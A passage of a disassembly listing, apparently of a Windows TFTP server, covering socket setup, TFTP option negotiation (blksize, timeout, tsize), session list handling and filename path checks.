		push	eax
		call	sub_100230A
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CDA:				; CODE XREF: sub_1001A91+1CBj
		mov	eax, [esp+70h+arg_FFA4]
		push	esi
		mov	[esi+8], eax
		call	sub_1002EC8


loc_1001CEA:				; CODE XREF: sub_1001A91+19Ej
					; sub_1001A91+1BCj ...
		push	ebx
		call	ds:dword_1001058
		mov	eax, dword_1006078
		mov	dword ptr [esi+4], offset dword_1006078
		mov	[esi], eax
		push	offset dword_1005DE8
		mov	[eax+4], esi
		mov	dword_1006078, esi
		call	ds:dword_100105C
		dec	dword_1005DF4
		push	ebx
		call	ds:dword_100104C
		xor	ebp, ebp
		jmp	loc_1001AAA
; ---------------------------------------------------------------------------


loc_1001D27:				; CODE XREF: sub_1001A91+32j
		call	ds:dword_10010F8
		jmp	short loc_1001D65
; ---------------------------------------------------------------------------


loc_1001D2F:				; CODE XREF: sub_1001A91+136j
					; sub_1001A91+161j ...
		push	ebx
		call	ds:dword_1001058
		mov	eax, dword_1006078
		mov	dword ptr [esi+4], offset dword_1006078
		mov	[esi], eax
		push	offset dword_1005DE8
		mov	[eax+4], esi
		mov	dword_1006078, esi
		call	ds:dword_100105C
		dec	dword_1005DF4


loc_1001D5E:				; CODE XREF: sub_1001A91+9Dj
		push	ebx
		call	ds:dword_100104C


loc_1001D65:				; CODE XREF: sub_1001A91+3Cj
					; sub_1001A91+29Cj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10004h
		retn	8
sub_1001A91	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_1001D74:				; DATA XREF: sub_100188E+2Do
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, offset dword_1006020
		push	edi
		mov	edi, ds:dword_1001070
		push	esi
		xor	ebp, ebp
		xor	ebx, ebx
		call	edi ; dword_1001070


loc_1001D8B:				; CODE XREF: .text:01001DA1j
		test	eax, eax
		jnz	short loc_1001DA7
		push	0C8h
		call	ds:dword_100106C
		push	esi
		call	edi ; dword_1001070
		inc	ebx
		cmp	ebx, 7Dh
		jb	short loc_1001D8B
		test	eax, eax
		jz	short loc_1001DD1


loc_1001DA7:				; CODE XREF: .text:01001D8Dj
		lea	eax, [esp+10h]
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_10021E5
		test	eax, eax
		jnz	short loc_1001DC0
		mov	eax, [esp+10h]
		mov	ebp, [eax+0Ch]


loc_1001DC0:				; CODE XREF: .text:01001DB7j
		push	esi
		call	ds:dword_100104C
		push	ebp
		push	dword ptr [esp+1Ch]
		call	sub_1001A91


loc_1001DD1:				; CODE XREF: .text:01001DA5j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1001DDB:				; DATA XREF: sub_100188E:loc_10018C2o
		push	0
		push	dword ptr [esp+8]
		call	sub_1001A91
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001DEB	proc near		; DATA XREF: sub_1001665+6o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_10010A4
		inc	dword_1006134
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_10010B8
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	eax
		jz	short loc_1001E68
		dec	eax
		jz	short loc_1001E35
		dec	eax
		jz	short loc_1001E1D
		dec	eax
		dec	eax
		jz	short loc_1001E68
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E1D:				; CODE XREF: sub_1001DEB+2Aj
		push	dword_1006040
		call	ds:dword_1001034
		mov	dword_1006124, 4
		jmp	short loc_1001E4B
; ---------------------------------------------------------------------------


loc_1001E35:				; CODE XREF: sub_1001DEB+27j
		push	dword_1006040
		call	ds:dword_1001074
		mov	dword_1006124, 7


loc_1001E4B:				; CODE XREF: sub_1001DEB+30j
					; sub_1001DEB+48j
		push	offset dword_1006120
		push	dword_1006044
		call	ds:dword_1001014
		test	eax, eax
		jnz	short locret_1001E6F
		call	ds:dword_1001038
		jmp	short locret_1001E6F
; ---------------------------------------------------------------------------


loc_1001E68:				; CODE XREF: sub_1001DEB+24j
					; sub_1001DEB+2Ej
		push	0
		call	sub_1001E73

locret_1001E6F:				; CODE XREF: sub_1001DEB+73j
					; sub_1001DEB+7Bj
		leave
		retn	4
sub_1001DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001E73	proc near		; CODE XREF: sub_1001665+B9p
					; sub_1001DEB+7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_1001014
		push	edi
		mov	edi, offset dword_1006120
		push	edi
		mov	dword_1006124, 3
		push	dword_1006044
		call	esi ; dword_1001014
		mov	ebp, ds:dword_1001038
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_1001EA3
		call	ebp ; dword_1001038


loc_1001EA3:				; CODE XREF: sub_1001E73+2Cj
		push	dword_1005DDC
		call	ds:dword_1001030
		mov	dword_1006124, 1
		mov	dword_1006134, ebx
		mov	eax, [esp+10h+arg_0]
		mov	dword_1006138, ebx
		cmp	eax, ebx
		jnz	short loc_1001EDB
		mov	dword_100612C, ebx
		mov	dword_1006130, ebx
		jmp	short loc_1001EFD
; ---------------------------------------------------------------------------


loc_1001EDB:				; CODE XREF: sub_1001E73+58j
		cmp	eax, 834h
		jb	short loc_1001EF3
		cmp	eax, 16A7h
		mov	dword_100612C, 42Ah
		jbe	short loc_1001EF8


loc_1001EF3:				; CODE XREF: sub_1001E73+6Dj
		mov	dword_100612C, eax


loc_1001EF8:				; CODE XREF: sub_1001E73+7Ej
		mov	dword_1006130, eax


loc_1001EFD:				; CODE XREF: sub_1001E73+66j
		push	edi
		push	dword_1006044
		call	esi ; dword_1001014
		cmp	eax, ebx
		jnz	short loc_1001F0C
		call	ebp ; dword_1001038


loc_1001F0C:				; CODE XREF: sub_1001E73+95j
		mov	eax, dword_1005DE0
		mov	esi, ds:dword_1001054
		cmp	eax, ebx
		jz	short loc_1001F24
		push	eax
		call	esi ; dword_1001054
		mov	dword_1005DE0, ebx


loc_1001F24:				; CODE XREF: sub_1001E73+A6j
		mov	eax, dword_1005DDC
		cmp	eax, ebx
		jz	short loc_1001F36
		push	eax
		call	esi ; dword_1001054
		mov	dword_1005DDC, ebx


loc_1001F36:				; CODE XREF: sub_1001E73+B8j
		mov	eax, dword_1005DD0
		cmp	eax, ebx
		jz	short loc_1001F4D
		push	eax
		call	ds:dword_100109C
		pop	ecx
		mov	dword_1005DD0, ebx


loc_1001F4D:				; CODE XREF: sub_1001E73+CAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_1001E73	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001F54	proc near		; CODE XREF: sub_1002182+1Cp
					; sub_1002219+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0FFFFFFFFh
		push	dword ptr [esi+10h]
		call	ds:dword_1001168
		push	dword ptr [esi+8]
		call	ds:dword_100111C
		push	dword ptr [esi+14h]
		call	ds:dword_1001118
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jnz	short loc_1001F90
		mov	eax, dword_1006038
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		jmp	short loc_1001F9A
; ---------------------------------------------------------------------------


loc_1001F90:				; CODE XREF: sub_1001F54+29j
		mov	[ecx], eax
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx


loc_1001F9A:				; CODE XREF: sub_1001F54+3Aj
		push	esi
		call	ds:dword_10010A0
		pop	ecx
		pop	esi
		retn	4
sub_1001F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001FA6	proc near		; CODE XREF: sub_10018DB+3Dp
					; sub_1002219+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], 0C0000017h
		mov	[ebx], edi
		call	sub_1003A4A
		cmp	eax, edi
		jz	short loc_1001FD3
		cmp	eax, 7Ah
		jnz	short loc_100201A


loc_1001FD3:				; CODE XREF: sub_1001FA6+26j
		push	[ebp+var_4]
		call	ds:dword_1001094
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_100201A


loc_1001FE3:				; CODE XREF: sub_1001FA6+63j
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	esi
		call	sub_1003A4A
		cmp	eax, edi
		jz	short loc_1002015
		cmp	eax, 7Ah
		jnz	short loc_100201A
		push	[ebp+var_4]
		push	esi
		call	ds:dword_1001098
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_100200B
		mov	esi, eax
		jmp	short loc_1001FE3
; ---------------------------------------------------------------------------


loc_100200B:				; CODE XREF: sub_1001FA6+5Fj
		push	esi
		call	ds:dword_10010A0
		pop	ecx
		jmp	short loc_100201A
; ---------------------------------------------------------------------------


loc_1002015:				; CODE XREF: sub_1001FA6+4Aj
		mov	[ebp+var_8], edi
		mov	[ebx], esi


loc_100201A:				; CODE XREF: sub_1001FA6+2Bj
					; sub_1001FA6+3Bj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_1001FA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002024	proc near		; CODE XREF: sub_100205A+B7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		call	ds:dword_1001120
		test	eax, eax
		jz	short locret_1002057
		push	edi
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	esi
		mov	eax, ecx
		mov	esi, edi
		mov	edi, [esp+8+arg_4]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		pop	edi

locret_1002057:				; CODE XREF: sub_1002024+Cj
		retn	8
sub_1002024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100205A	proc near		; CODE XREF: sub_10018DB+64p
					; sub_1002219+65p ...

var_28		= byte ptr -28h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi


loc_1002068:				; CODE XREF: sub_100205A+5Dj
		push	1
		push	esi
		push	esi
		push	esi
		push	2
		push	2
		call	ds:dword_10010F4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100209D
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		push	offset aUdp	; "udp"
		push	offset aTftp	; "tftp"
		stosd
		call	ds:dword_1001128
		cmp	eax, esi
		jnz	short loc_10020B9
		jmp	short loc_10020B1
; ---------------------------------------------------------------------------


loc_100209D:				; CODE XREF: sub_100205A+22j
		call	ds:dword_10010F8
		push	2EEh
		call	ds:dword_100106C
		inc	[ebp+var_4]


loc_10020B1:				; CODE XREF: sub_100205A+41j
		cmp	[ebp+var_4], 0Ah
		jge	short loc_10020E6
		jmp	short loc_1002068
; ---------------------------------------------------------------------------


loc_10020B9:				; CODE XREF: sub_100205A+3Fj
		mov	[ebp+var_14], 2
		mov	ax, [eax+8]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_1001124
		test	eax, eax
		jz	short loc_10020E6
		call	ds:dword_1001038
		jmp	short loc_100215E
; ---------------------------------------------------------------------------


loc_10020E6:				; CODE XREF: sub_100205A+5Bj
					; sub_100205A+82j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100215E
		push	20h
		call	ds:dword_1001094
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_100213D
		push	8
		xor	eax, eax
		pop	ecx
		mov	edi, esi
		rep stosd
		mov	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_28]
		push	ecx
		push	eax
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		call	sub_1002024
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	ds:dword_1001040
		mov	edi, eax
		test	edi, edi
		jz	short loc_1002140
		push	1
		push	edi
		push	ebx
		mov	[esi+14h], edi
		call	sub_100188E
		test	eax, eax
		mov	[esi+10h], eax
		jnz	short loc_1002162
		jmp	short loc_1002140
; ---------------------------------------------------------------------------


loc_100213D:				; CODE XREF: sub_100205A+9Ej
		mov	edi, [ebp+arg_0]


loc_1002140:				; CODE XREF: sub_100205A+CCj
					; sub_100205A+E1j
		push	ebx
		call	ds:dword_100111C
		test	edi, edi
		jz	short loc_1002152
		push	edi
		call	ds:dword_1001054


loc_1002152:				; CODE XREF: sub_100205A+EFj
		test	esi, esi
		jz	short loc_100215E
		push	esi
		call	ds:dword_10010A0
		pop	ecx


loc_100215E:				; CODE XREF: sub_100205A+8Aj
					; sub_100205A+8Fj ...
		xor	eax, eax
		jmp	short loc_100217B
; ---------------------------------------------------------------------------


loc_1002162:				; CODE XREF: sub_100205A+DFj
		mov	eax, dword_1006038
		mov	dword ptr [esi+4], offset dword_1006038
		mov	[esi], eax
		mov	[eax+4], esi
		mov	dword_1006038, esi
		mov	eax, esi


loc_100217B:				; CODE XREF: sub_100205A+106j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_100205A	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002182	proc near		; CODE XREF: sub_1002219:loc_1002298p
		mov	ecx, dword_1006038
		push	esi
		mov	esi, offset dword_1006038
		xor	eax, eax
		cmp	ecx, esi
		jz	short loc_10021B3
		push	edi


loc_1002195:				; CODE XREF: sub_1002182+2Ej
		cmp	dword ptr [ecx+18h], 0
		mov	edi, [ecx]
		jnz	short loc_10021A8
		push	ecx
		call	sub_1001F54
		push	1
		pop	eax
		jmp	short loc_10021AC
; ---------------------------------------------------------------------------


loc_10021A8:				; CODE XREF: sub_1002182+19j
		and	dword ptr [ecx+18h], 0


loc_10021AC:				; CODE XREF: sub_1002182+24j
		cmp	edi, esi
		mov	ecx, edi
		jnz	short loc_1002195
		pop	edi


loc_10021B3:				; CODE XREF: sub_1002182+10j
		pop	esi
		retn
sub_1002182	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021B5	proc near		; CODE XREF: sub_1002219+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset dword_1006038
		and	dword ptr [edx], 0
		mov	eax, dword_1006038


loc_10021C7:				; CODE XREF: sub_10021B5+21j
		cmp	eax, ecx
		jz	short loc_10021DF
		mov	esi, [eax+0Ch]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_10021D8
		mov	eax, [eax]
		jmp	short loc_10021C7
; ---------------------------------------------------------------------------


loc_10021D8:				; CODE XREF: sub_10021B5+1Dj
		push	1
		mov	[edx], eax
		pop	eax
		jmp	short loc_10021E1
; ---------------------------------------------------------------------------


loc_10021DF:				; CODE XREF: sub_10021B5+14j
		xor	eax, eax


loc_10021E1:				; CODE XREF: sub_10021B5+28j
		pop	esi
		retn	8
sub_10021B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021E5	proc near		; CODE XREF: .text:01001DB0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset dword_1006038
		and	dword ptr [edx], 0
		mov	eax, dword_1006038


loc_10021F7:				; CODE XREF: sub_10021E5+21j
		cmp	eax, ecx
		jz	short loc_100220A
		mov	esi, [eax+8]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_1002208
		mov	eax, [eax]
		jmp	short loc_10021F7
; ---------------------------------------------------------------------------


loc_1002208:				; CODE XREF: sub_10021E5+1Dj
		mov	[edx], eax


loc_100220A:				; CODE XREF: sub_10021E5+14j
		mov	eax, [edx]
		pop	esi
		neg	eax
		sbb	eax, eax
		and	al, 0A9h
		add	eax, 57h
		retn	8
sub_10021E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002219	proc near		; DATA XREF: sub_10018DB+CBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	offset dword_1006020
		mov	[ebp+var_C], esi
		call	ds:dword_1001058
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_1001FA6
		test	eax, eax
		jnz	short loc_10022A9
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_1002298


loc_1002248:				; CODE XREF: sub_1002219+7Dj
		mov	eax, [eax+esi+4]
		test	eax, eax
		jz	short loc_100228D
		cmp	eax, 100007Fh
		jz	short loc_100228D
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	sub_10021B5
		test	eax, eax
		jz	short loc_1002271
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+18h], 1
		jmp	short loc_100228D
; ---------------------------------------------------------------------------


loc_1002271:				; CODE XREF: sub_1002219+4Aj
		mov	eax, [ebp+var_4]
		push	1
		pop	edi
		push	dword ptr [eax+esi+4]
		mov	[ebp+var_C], edi
		call	sub_100205A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_100228D
		mov	[eax+18h], edi


loc_100228D:				; CODE XREF: sub_1002219+35j
					; sub_1002219+3Cj ...
		mov	eax, [ebp+var_4]
		inc	ebx
		add	esi, 18h
		cmp	ebx, [eax]
		jb	short loc_1002248


loc_1002298:				; CODE XREF: sub_1002219+2Dj
		call	sub_1002182
		push	[ebp+var_4]
		mov	esi, eax
		call	ds:dword_10010A0
		pop	ecx


loc_10022A9:				; CODE XREF: sub_1002219+24j
		cmp	[ebp+var_C], 0
		jnz	short loc_10022E9
		test	esi, esi
		jnz	short loc_10022E9
		mov	eax, dword_1006038
		mov	edi, offset dword_1006038
		cmp	eax, edi
		jz	short loc_10022E9


loc_10022C1:				; CODE XREF: sub_1002219+CEj
		mov	[ebp+var_8], eax
		mov	ebx, [eax]
		test	byte ptr [eax+1Ch], 1
		jnz	short loc_10022E3
		mov	esi, [eax+0Ch]
		push	eax
		call	sub_1001F54
		push	esi
		call	sub_100205A
		test	eax, eax
		jz	short loc_10022E3
		or	dword ptr [eax+1Ch], 1


loc_10022E3:				; CODE XREF: sub_1002219+B1j
					; sub_1002219+C4j
		cmp	ebx, edi
		mov	eax, ebx
		jnz	short loc_10022C1


loc_10022E9:				; CODE XREF: sub_1002219+94j
					; sub_1002219+98j ...
		push	offset dword_1006100
		push	offset dword_1005E00
		call	sub_1003A44
		push	offset dword_1006020
		call	ds:dword_100104C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100230A	proc near		; CODE XREF: sub_1001A91+242p
					; sub_10023D8+23Cp ...

var_FFBC	= word ptr -0FFBCh
var_FFBA	= word ptr -0FFBAh
var_FFB8	= byte ptr -0FFB8h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 0FFBCh
		call	sub_1003A3E
		push	ebx
		push	esi
		mov	esi, ds:dword_1001104
		push	edi
		push	5
		call	esi ; dword_1001104
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_FFBC],	ax
		push	edi
		call	esi ; dword_1001104
		cmp	[ebp+arg_10], 0
		mov	[ebp+var_FFBA],	ax
		jz	short loc_1002369
		mov	edi, [ebp+arg_10]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [ebp+var_FFB8]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_10]
		jmp	short loc_10023A2
; ---------------------------------------------------------------------------


loc_1002369:				; CODE XREF: sub_100230A+32j
		cmp	di, 9
		jb	short loc_1002371
		xor	edi, edi


loc_1002371:				; CODE XREF: sub_100230A+63j
		movzx	eax, di
		or	ecx, 0FFFFFFFFh
		lea	ebx, [ebp+var_FFB8]
		mov	edx, off_1005CC0[eax*4]
		xor	eax, eax
		mov	edi, edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, edx


loc_10023A2:				; CODE XREF: sub_100230A+5Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		push	10h
		push	[ebp+arg_0]
		not	ecx
		dec	ecx
		push	eax
		add	ecx, 5
		lea	eax, [ebp+var_FFBC]
		push	ecx
		push	eax
		push	[ebp+arg_8]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10023D1
		call	ds:dword_10010F8


loc_10023D1:				; CODE XREF: sub_100230A+BFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_100230A	endp


; =============== S U B	R O U T	I N E =======================================



sub_10023D8	proc near		; CODE XREF: sub_1002F31+302p
					; sub_100333A+26Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_10]
		mov	dword ptr [eax+20h], 200h
		mov	dword ptr [eax+28h], 0Ah
		mov	eax, [esp+0Ch+arg_14]
		push	edi
		mov	ecx, 3FEFh
		and	dword ptr [eax], 0
		xor	eax, eax
		mov	edi, esi
		push	6
		rep stosd
		call	ds:dword_1001104
		mov	[esi], ax
		lea	ebx, [esi+2]
		mov	ebp, [esp+10h+arg_4]
		cmp	byte ptr [ebp+0], 0
		jz	loc_10025E4


loc_1002420:				; CODE XREF: sub_10023D8+202j
		mov	esi, ds:dword_100115C
		push	offset aBlksize	; "blksize"
		push	ebp
		call	esi ; dword_100115C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_1002498
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		add	ebp, esi
		add	ebx, esi
		push	ebp
		call	ds:dword_1001160
		pop	ecx
		cmp	eax, esi
		mov	ecx, [esp+10h+arg_0]
		mov	[ecx+20h], eax
		jb	loc_10025FD
		cmp	eax, 0FFB8h
		ja	loc_10025FD
		cmp	eax, 5B0h
		jnz	short loc_100248F
		mov	dword ptr [ecx+20h], 200h
		sub	ebx, esi
		jmp	loc_10025C6
; ---------------------------------------------------------------------------


loc_100248F:				; CODE XREF: sub_10023D8+A7j
		push	0Ah
		push	ebx
		push	eax
		jmp	loc_1002597
; ---------------------------------------------------------------------------


loc_1002498:				; CODE XREF: sub_10023D8+5Aj
		push	offset aTimeout_0 ; "timeout"
		push	ebp
		call	esi ; dword_100115C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_100251A
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		add	ebp, 8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		push	ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		add	ebx, 8
		and	ecx, 3
		rep movsb
		call	ds:dword_1001160
		pop	ecx
		mov	ecx, [esp+10h+arg_0]
		push	1
		pop	edx
		cmp	eax, edx
		mov	[ecx+28h], eax
		jl	loc_1002602
		cmp	eax, 0FFh
		jg	loc_1002602
		mov	eax, [esp+10h+arg_14]
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		jmp	loc_10025A2
; ---------------------------------------------------------------------------


loc_100251A:				; CODE XREF: sub_10023D8+CCj
		push	offset aTsize	; "tsize"
		push	ebp
		call	esi ; dword_100115C
		pop	ecx
		mov	edi, ebp
		test	eax, eax
		pop	ecx
		jnz	loc_10025B2
		or	edx, 0FFFFFFFFh
		xor	eax, eax
		mov	ecx, edx
		add	ebp, 6
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		add	ebx, 6
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		cmp	[esp+10h+arg_8], 2
		rep movsb
		jnz	short loc_100258D
		mov	edi, ebp
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, ebp
		lea	ebx, [ebx+ecx+1]
		mov	ecx, edx
		jmp	short loc_10025CB
; ---------------------------------------------------------------------------


loc_100258D:				; CODE XREF: sub_10023D8+180j
		mov	eax, [esp+10h+arg_0]
		push	0Ah
		push	ebx
		push	dword ptr [eax+24h]


loc_1002597:				; CODE XREF: sub_10023D8+BBj
		call	ds:dword_1001164
		add	esp, 0Ch
		mov	edi, ebx


loc_10025A2:				; CODE XREF: sub_10023D8+13Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ebx+ecx+1]
		jmp	short loc_10025C6
; ---------------------------------------------------------------------------


loc_10025B2:				; CODE XREF: sub_10023D8+150j
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jz	short loc_10025E0


loc_10025C6:				; CODE XREF: sub_10023D8+B2j
					; sub_10023D8+1D8j
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh


loc_10025CB:				; CODE XREF: sub_10023D8+1B3j
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jnz	loc_1002420


loc_10025E0:				; CODE XREF: sub_10023D8+1ECj
		mov	esi, [esp+10h+arg_10]


loc_10025E4:				; CODE XREF: sub_10023D8+42j
		mov	eax, [esp+10h+arg_C]
		sub	ebx, esi
		cmp	ebx, 2
		mov	[eax], ebx
		jnz	short loc_10025F4
		and	dword ptr [eax], 0


loc_10025F4:				; CODE XREF: sub_10023D8+217j
		xor	eax, eax


loc_10025F6:				; CODE XREF: sub_10023D8+244j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	18h
; ---------------------------------------------------------------------------


loc_10025FD:				; CODE XREF: sub_10023D8+91j
					; sub_10023D8+9Cj
		push	0
		push	esi
		jmp	short loc_1002606
; ---------------------------------------------------------------------------


loc_1002602:				; CODE XREF: sub_10023D8+105j
					; sub_10023D8+110j
		push	0
		push	8


loc_1002606:				; CODE XREF: sub_10023D8+228j
		push	dword ptr [ecx+8]
		lea	eax, [ecx+0FFF1h]
		add	ecx, 0Ch
		push	eax
		push	ecx
		call	sub_100230A
		or	eax, 0FFFFFFFFh
		jmp	short loc_10025F6
sub_10023D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100261E	proc near		; CODE XREF: sub_1002F31+130p
					; sub_100333A+150p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	al, [ebx]
		mov	ecx, ebx
		mov	esi, ebx
		mov	[ebp+arg_0], ebx


loc_1002630:				; CODE XREF: sub_100261E+22j
		test	al, al
		jz	short loc_1002642
		cmp	al, 5Ch
		jz	short loc_100263C
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_100263C:				; CODE XREF: sub_100261E+18j
		mov	al, [ecx+1]
		inc	ecx
		jmp	short loc_1002630
; ---------------------------------------------------------------------------


loc_1002642:				; CODE XREF: sub_100261E+14j
					; sub_100261E+1Cj ...
		mov	al, [ecx]
		test	al, al
		jz	loc_10026E4
		cmp	al, 2Eh
		jnz	loc_100271C
		mov	dl, [ecx+1]
		lea	edi, [ecx+1]
		cmp	dl, 5Ch
		jz	loc_1002718
		cmp	dl, 2Fh
		jz	loc_1002718
		cmp	dl, al
		jnz	loc_1002703
